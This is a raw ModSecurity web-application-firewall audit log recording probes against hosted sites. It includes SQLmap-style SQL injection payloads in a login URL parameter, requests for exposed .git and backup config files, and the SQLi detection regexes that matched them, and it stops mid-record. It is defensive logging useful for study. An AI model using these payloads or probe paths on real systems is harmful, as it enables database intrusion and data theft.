[rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/logs/HEAD"] [unique_id "aE89jnZqyQ8YfVGvJU7YxQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023566226664 652782 (- - -) Stopwatch2: 1750023566226664 652782; combined=1800, p1=390, p2=1314, p3=0, p4=0, p5=96, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8f54866b-Z-- --0b9f1c7e-A-- [16/Jun/2025:03:09:27.941246 +0530] aE89j0NwpNEMJppxC49R6gAAAAI 162.158.95.81 34448 127.0.0.1 7081 --0b9f1c7e-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%20AND%206118%3D1238%20AND%20%27QFyk%27%3D%27QFyk HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.95.81 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538607ecd3a72-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --0b9f1c7e-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%206118=1238%20AND%20QFyk=QFyk Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --0b9f1c7e-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6118=1238 and 'qfyk'='qfyk found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and 6118=1238 and 'qfyk'='qfyk"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6118=1238 and 'qfyk'='qfyk found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and 6118=1238 and 'qfyk'='qfyk"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89j0NwpNEMJppxC49R6gAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023567738010 203349 (- - -) Stopwatch2: 1750023567738010 203349; combined=3817, p1=405, p2=3275, p3=0, p4=0, p5=137, sr=109, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0b9f1c7e-Z-- --60dbdc25-A-- [16/Jun/2025:03:09:28.704941 +0530] aE89kH2GhYywD7zZgx76TAAAAAM 172.70.248.99 34524 127.0.0.1 7081 --60dbdc25-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%20AND%206074%3D6074%20AND%20%27kEYV%27%3D%27kEYV HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.248.99 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538669f5ce854-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --60dbdc25-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%206074=6074%20AND%20kEYV=kEYV Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --60dbdc25-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6074=6074 and 'keyv'='keyv found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and 6074=6074 and 'keyv'='keyv"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6074=6074 and 'keyv'='keyv found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and 6074=6074 and 'keyv'='keyv"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89kH2GhYywD7zZgx76TAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023568488699 216337 (- - -) Stopwatch2: 1750023568488699 216337; combined=3891, p1=360, p2=3401, p3=0, p4=0, p5=129, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --60dbdc25-Z-- --7b591631-A-- [16/Jun/2025:03:09:29.446026 +0530] aE89kUNwpNEMJppxC49R6wAAAAI 172.70.240.173 34554 127.0.0.1 7081 --7b591631-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%27%20AND%203589%3D3894%20AND%20%27Ovfp%27%3D%27Ovfp HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.240.173 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505386b6ee5f47f-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --7b591631-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%203589=3894%20AND%20Ovfp=Ovfp Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --7b591631-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 3589=3894 and 'ovfp'='ovfp found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and 3589=3894 and 'ovfp'='ovfp"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 3589=3894 and 'ovfp'='ovfp found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now' and 3589=3894 and 'ovfp'='ovfp"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89kUNwpNEMJppxC49R6wAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023569253073 193059 (- - -) Stopwatch2: 1750023569253073 193059; combined=3997, p1=360, p2=3494, p3=0, p4=0, p5=142, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7b591631-Z-- --ca292243-A-- [16/Jun/2025:03:09:30.064558 +0530] aE89kVR6EeXjkGzEkbllAQAAAAs 185.177.72.210 55042 127.0.0.1 7081 --ca292243-B-- GET /secure/config.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ca292243-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4076a50ac200ee8936941d18376005131750023569; expires=Sun, 15 Jun 2025 22:39:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ca292243-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/secure/config.php.old"] [unique_id "aE89kVR6EeXjkGzEkbllAQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023569419855 644771 (- - -) Stopwatch2: 1750023569419855 644771; combined=1818, p1=336, p2=1361, p3=0, p4=0, p5=120, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ca292243-Z-- --48d6ea64-A-- [16/Jun/2025:03:09:30.781102 +0530] aE89korLgrklqy57Kk2cTAAAAAg 172.71.144.128 55084 127.0.0.1 7081 --48d6ea64-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%201387%3D1953--%20Iyfo HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.128 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950538723f9ddbd4-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --48d6ea64-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%201387=1953--%20Iyfo Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --48d6ea64-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 1387=1953-- iyfo found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 1387=1953-- iyfo"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 1387=1953-- iyfo found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 1387=1953-- iyfo"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89korLgrklqy57Kk2cTAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023570565530 215664 (- - -) Stopwatch2: 1750023570565530 215664; combined=2971, p1=387, p2=2435, p3=0, p4=0, p5=148, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --48d6ea64-Z-- --cf19bd24-A-- [16/Jun/2025:03:09:31.779071 +0530] aE89k_kun2jazaBvM9tuKQAAAAE 172.70.248.9 55124 127.0.0.1 7081 --cf19bd24-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%206074%3D6074--%20OPPi HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.248.9 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505387878d1f9a5-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --cf19bd24-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%206074=6074--%20OPPi Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --cf19bd24-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6074=6074-- oppi found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 6074=6074-- oppi"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 6074=6074-- oppi found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 6074=6074-- oppi"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89k_kun2jazaBvM9tuKQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023571569930 209255 (- - -) Stopwatch2: 1750023571569930 209255; combined=3150, p1=381, p2=2646, p3=0, p4=0, p5=123, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cf19bd24-Z-- --bb05e36c-A-- [16/Jun/2025:03:09:33.108654 +0530] aE89lB-kH31pk4mNbsU_NAAAAAo 172.71.144.43 55224 127.0.0.1 7081 --bb05e36c-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%208782%3D4355--%20SGNk HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.144.43 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053880ba11dbd8-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --bb05e36c-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar&utm_campaign=login-now%20AND%208782=4355--%20SGNk Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --bb05e36c-H-- Message: Warning. Pattern match "[\\[\\]\\x22',()\\.]{10}$|\\b(?:union\\sall\\sselect\\s(?:(?:null|\\d+),?)+|order\\sby\\s\\d{1,4}|(?:and|or)\\s\\d{4}=\\d{4}|waitfor\\sdelay\\s'\\d+:\\d+:\\d+'|(?:select|and|or)\\s(?:(?:pg_)?sleep\\(\\d+\\)|\\d+\\s?=\\s?(?:dbms_pipe\\.receive_message\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 8782=4355-- sgnk found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 8782=4355-- sgnk"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "[\\\\\\\\[\\\\\\\\]\\\\\\\\x22',()\\\\\\\\.]{10}$|\\\\\\\\b(?:union\\\\\\\\sall\\\\\\\\sselect\\\\\\\\s(?:(?:null|\\\\\\\\d+),?)+|order\\\\\\\\sby\\\\\\\\s\\\\\\\\d{1,4}|(?:and|or)\\\\\\\\s\\\\\\\\d{4}=\\\\\\\\d{4}|waitfor\\\\\\\\sdelay\\\\\\\\s'\\\\\\\\d+:\\\\\\\\d+:\\\\\\\\d+'|(?:select|and|or)\\\\\\\\s(?:(?:pg_)?sleep\\\\\\\\(\\\\\\\\d+\\\\\\\\)|\\\\\\\\d+\\\\\\\\s?=\\\\\\\\s?(?:dbms_pipe\\\\\\\\.receive_message\\\\\\\\ ..." at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "66"] [id "218500"] [rev "18"] [msg "COMODO WAF: SQLmap attack detected||www.getcalley.com|F|2"] [data "Matched Data: and 8782=4355-- sgnk found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=login-now and 8782=4355-- sgnk"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89lB-kH31pk4mNbsU_NAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023572905255 203500 (- - -) Stopwatch2: 1750023572905255 203500; combined=3122, p1=337, p2=2623, p3=0, p4=0, p5=161, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bb05e36c-Z-- --fd460700-A-- [16/Jun/2025:03:09:33.709328 +0530] aE89lbsEVBap6l1Fvp1AMgAAAAQ 172.69.150.144 55260 127.0.0.1 7081 --fd460700-B-- GET /login-now/?utm_source=website&utm_medium=top-bar&utm_campaign=%28SELECT%20%28CASE%20WHEN%20%285610%3D4669%29%20THEN%20%27login-now%27%20ELSE%20%28SELECT%204669%20UNION%20SELECT%204635%29%20END%29%29 HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.150.144 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053886dbc34d40-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: 